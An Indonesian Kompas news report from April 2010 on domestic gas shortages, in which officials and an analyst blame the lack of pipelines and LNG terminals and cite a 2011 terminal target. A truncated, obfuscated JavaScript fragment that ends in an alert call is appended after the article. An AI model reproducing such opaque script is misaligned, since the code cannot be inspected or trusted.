Kompas, 10 April 2010
JakartaA�- Pembangunan infrastruktur gas di Indonesia dinilai belum jadi prioritas pemerintah. Hal ini mengakibatkan terjadi kekurangan pasokan gas untuk domestik. Menurut Direktur Eksekutif Lembaga Kajian Reformasi Pertambangan dan Energi Pri Agung Rakhmanto, Jumat (9/4) di Jakarta, infrastruktur seperti halnya penampung gas, pipa transmisi, dan distribusi sesungguhnya tanggung jawab pemerintah.
Ini sama dengan kewajiban awal pemerintah menyediakan jaringan listrik atau fasilitas distribusi bahan bakar minyak (BBM) yang kini masing-masing dikelola PT Perusahaan Listrik Negara (PLN) dan PT Pertamina, kata dia menegaskan.
Pri Agung menjelaskan, krisis gas sekarang ini terjadi karena pengembangan infrastrukturnya tidak dijadikan prioritas sehingga tidak ada cetak birunya yang konkret. Kalau ini tidak dibenahi, tidak saja gas kita akan selalu diekspor, tetapi menerima gas dari impor pun kita juga tidak akan bisa, ujarnya.
Butuh biaya besar
Secara terpisah, Kepala Badan Pelaksana Kegiatan Hulu Minyak dan Gas Bumi (BP Migas) R Priyono menyatakan, sebenarnya total produksi gas di Indonesia bisa memenuhi kebutuhan domestik saat ini. Masalahnya, infrastruktur gas sangat minim. Untuk membangun infrastruktur, tentu butuh biaya investasi yang besar dan waktu lama, ujar Priyono. Menanggapi hal itu, Direktur Jenderal Migas Kementerian Energi dan Sumber Daya Mineral Evita H Legowo menjelaskan, infrastruktur gas yang paling penting sekarang adalah terminal penampung gas alam cair. Pemerintah telah menargetkan pembangunan penampung gas untuk Sumatera dan Jawa Barat rampung pada September 2011. (EVY)
t(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}